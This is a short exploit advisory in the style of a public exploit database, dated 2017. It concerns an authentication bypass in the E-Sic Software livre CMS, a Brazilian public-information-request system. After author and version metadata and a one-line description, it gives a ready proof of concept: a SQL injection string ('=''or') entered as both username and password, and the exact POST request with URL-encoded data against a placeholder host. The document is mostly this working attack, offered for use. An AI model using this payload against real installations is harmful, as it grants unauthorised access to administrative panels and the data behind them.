E-Sic Software livre CMS - Autentication Bypass

# Exploit Title: E-Sic Software livre CMS - Autentication Bypass#
Date: 12/10/2017# Exploit Author: Elber Tavares# Vendor Homepage:
https://softwarepublico.gov.br/# Version: 1.0# Tested on: kali linux,
windows 7, 8.1, 10 - Firefox# Download
https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations:
http://whiteboyz.xyz/esic-software-publico-autentication-bypass.html

The vulnerability is in the login area of ​​e-sic,
where we can enter the panel only using some parameters such as
username and password
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PoC:
Url: http://vulnsite/esic/index/ User: '=''or' Pass: '=''or'
POST: http://vulnsite/esic/index/index.php
DATA: login=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btsub=Entrar